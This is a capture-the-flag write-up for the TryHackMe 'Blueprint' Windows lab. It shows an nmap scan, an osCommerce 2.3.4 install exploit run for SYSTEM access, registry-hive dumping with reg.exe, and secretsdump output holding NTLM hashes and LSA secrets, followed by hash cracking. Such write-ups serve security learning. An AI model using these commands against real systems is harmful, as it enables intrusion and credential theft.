THM - Blueprint

This is an easy level box Windows box from Try Hack Me. It focuses on web exploitation and windows commands to extract the required credentials.

I first start off with an NMAP scan with scripts and service detection enabled.

```
nmap -sC -sV 10.10.149.74
Starting Nmap 7.60 (https://nmap.org) at 2024-01-16 01:48 GMT
Nmap scan report for ip-10-10-149-74.eu-west-1.compute.internal (10.10.149.74)
Host is up (0.098s latency).
Not shown: 987 closed ports
PORT
        STATE SERVICE
                           VERSION
80/tcp
         open http
                           Microsoft IIS httpd 7.5
| http-methods:
Potentially risky methods: TRACE
http-server-header: Microsoft-IIS/7.5
|_http-title: 404 - File or directory not found.
                           Microsoft Windows RPC
135/tcp
        open msrpc
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp
         open ssl/http Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
http-methods:
Potentially risky methods: TRACE
http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
|_http-title: Index of /
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
| Not valid after: 2019-11-08T23:48:47
_ssl-date: TLS randomness does not represent time
         open microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds
(workgroup: WORKGROUP)
                           MariaDB (unauthorized)
3306/tcp open mysql
8080/tcp open http
                         Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28)
http-methods:
Potentially risky methods: TRACE
_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28
| http-title: Index of /
```

```
49152/tcp open msrpc
                           Microsoft Windows RPC
                           Microsoft Windows RPC
49153/tcp open msrpc
                           Microsoft Windows RPC
49154/tcp open msrpc
                           Microsoft Windows RPC
49158/tcp open msrpc
49159/tcp open msrpc
                           Microsoft Windows RPC
                           Microsoft Windows RPC
49160/tcp open msrpc
MAC Address: 02:D2:65:60:C9:B3 (Unknown)
Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE:
cpe:/o:microsoft:windows
Host script results:
_clock-skew: mean: -2s, deviation: 0s, median: -2s
|_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: <unknown>, NetBIOS MAC:
02:d2:65:60:c9:b3 (unknown)
smb-os-discovery:
OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1)
  OS CPE: cpe:/o:microsoft:windows_7::sp1
  Computer name: BLUEPRINT
  NetBIOS computer name: BLUEPRINT\x00
   Workgroup: WORKGROUP\x00
System time: 2024-01-16T01:49:57+00:00
| smb-security-mode:
account_used: guest
authentication_level: user
challenge_response: supported
message_signing: disabled (dangerous, but default)
| smb2-security-mode:
   2.02:
Message signing enabled but not required
smb2-time:
date: 2024-01-16 01:49:59
start date: 2024-01-16 01:43:22
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.10 seconds
```

This reveals basic windows services along with a few web services.

```
http://10.10.149.74:8080/oscommerce-2.3.4/
```

Checking out port 8080, it is revealed that os-commerce is being hosted.

```
https://www.exploit-db.com/exploits/50128
```

Looking into exploits, I found this one. The exploit requires the install.php file to be accessible.

```
http://10.10.149.74:8080/oscommerce-2.3.4/catalog/install/install.php
```

The install page is accessible to us, so we can utilize the exploit.

```
https://www.exploit-db.com/exploits/50128
python3 50128.py http://10.10.149.74:8080/oscommerce-2.3.4/catalog/
```

This grants us system user access to the box.

```
more C:\Users\administrator\Desktop\root.txt.txt
```

I read the root file to answer question 2.

To get the NTLM hash, the easiest way to do this was to extract the sam, system, and security files from registry. From the attacker machine we can extract and crack.

```
reg.exe save hklm\sam sam
reg.exe save hklm\security security
reg.exe save hklm\system system
```

This places it into the folder below to be extracted to the attacker system.

```
http://10.10.149.74:8080/oscommerce-2.3.4/catalog/install/includes/
```

After downloading, we can extract it using impacket's secretsdump.py file.

```
root@ip-10-10-48-11:/opt/impacket/examples# secretsdump.py -sam /root/sam.save -
security /root/security.save -system /root/system.save LOCAL
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
```

```
[*] Target system bootKey: 0x147a48de4a9815d2aa479598592b086f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:549a1bcb88e35dc18c7a0b0168631411
:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Lab:1000:aad3b435b51404eeaad3b435b51404ee:30e87bf999828446a1c1209ddde4c450:::
test:1002:aad3b435b51404eeaad3b435b51404ee:cc8147f790c91200a3e02c2ebc65f9fb:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):malware
[*] DPAPI_SYSTEM
dpapi_machinekey:0x9bd2f17b538da4076bf2ecff91dddfa93598c280
dpapi_userkey:0x251de677564f950bb643b8d7fdfafec784a730d1
[*] Cleaning up...
```

We now have the hash.

```
30e87bf999828446a1c1209ddde4c450
```

This can easily be cracked with rock you or with Crackstation online.

The cracked hash answers question 1 and completes Blueprint!